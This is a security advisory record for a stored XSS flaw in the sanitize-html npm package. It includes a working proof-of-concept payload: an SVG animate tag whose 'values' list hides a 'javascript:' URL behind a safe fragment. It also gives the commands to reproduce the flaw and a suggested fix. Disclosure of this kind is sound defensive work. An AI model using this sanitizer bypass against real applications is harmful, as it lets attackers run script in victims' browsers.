{"id":"GHSA-g8qq-57p8-ggw5","revision":"720a12bc22b046978d34dd30042def24","records":[{"revision":"720a12bc22b046978d34dd30042def24","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-g8qq-57p8-ggw5","aliases":["CVE-2026-84371"],"title":"ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass","description":"### Summary\nWhen SVG animation is allowed, `attributeName=\"href\"` makes `values` a list of URL destinations. `sanitize-html` accepts a list that starts with a safe fragment even when `values` is explicitly scheme-checked, allowing a later `javascript:` destination to execute when the sanitized link is activated.\n\n### Details\n`index.js:371-383` validates each attribute as one flat URL. It does not recognize that `attributeName=\"href\"` gives the sibling `values` attribute SMIL URI-list semantics. For `values=\"#safe;javascript:...\"`, the leading fragment passes the flat check and the complete list is retained.\n\n### PoC\nThis was reproduced with `sanitize-html@2.17.6` and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to `values`; it does not allow `javascript:`. Save this as `poc.js`:\n\n```js\nconst sanitize = require('sanitize-html');\n\nconst input = `<svg><a><animate attributeName=\"href\" values=\"#safe;javascript:alert('XSS')\" dur=\".01s\" fill=\"freeze\"></animate><text y=\"30\">Click me</text></a></svg>`;\nconst output = sanitize(input, {\n  allowedTags: sanitize.defaults.allowedTags.concat(['svg', 'animate', 'text']),\n  allowedAttributes: {\n    ...sanitize.defaults.allowedAttributes,\n    animate: ['attributename', 'values', 'dur', 'fill'],\n    text: ['y']\n  },\n  allowedSchemesAppliedToAttributes:\n    sanitize.defaults.allowedSchemesAppliedToAttributes.concat(['values'])\n});\nconsole.log(output);\n```\n\nInstall and run it, then open `poc.html` and click `Click me`:\n\n```sh\nnpm install sanitize-html@2.17.6\nnode poc.js > poc.html\n```\n\nThe output retains the `javascript:` entry, and clicking the sanitized SVG displays `XSS`. With `input` changed to `<a href=\"javascript:alert(1)\">control</a>`, the same configuration removes `href`.\n\n### Impact\nIn an application that accepts attacker-authored SVG animation, the attacker can store this payload without scripts or event handlers. A victim who activates the sanitized link executes JavaScript in the application's origin despite the configured scheme policy.\n\n### Suggested fix\nReject `attributeName` values selecting `href` or `xlink:href` on SVG `animate` and `set`, while retaining safe targets such as `fill`. Add `values`, `from`, and `to` regression cases.","state":0,"publishedAt":"2026-09-01T21:20:01+00:00","modifiedAt":"2026-09-10T03:50:54.4631844+00:00","affected":[{"ecosystem":"npm","name":"sanitize-html","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.9.0"},{"kind":"fixed","version":"2.17.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-g8qq-57p8-ggw5","https://github.com/apostrophecms/apostrophe/pull/5552","https://github.com/apostrophecms/apostrophe/commit/1135516a1a4a8f9638641c460488a43d8af20081","https://github.com/apostrophecms/apostrophe/commit/38ff1106c8176b16c2da9872acd9b449adcbb949","https://github.com/apostrophecms/apostrophe","https://github.com/apostrophecms/apostrophe/blob/main/packages/sanitize-html/CHANGELOG.md"],"sourceUrl":"https://github.com/advisories/GHSA-g8qq-57p8-ggw5","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-g8qq-57p8-ggw5","identifiers":["GHSA-g8qq-57p8-ggw5","CVE-2026-84371"]},"retained":false,"historicalAffected":[]}],"coverage":[]}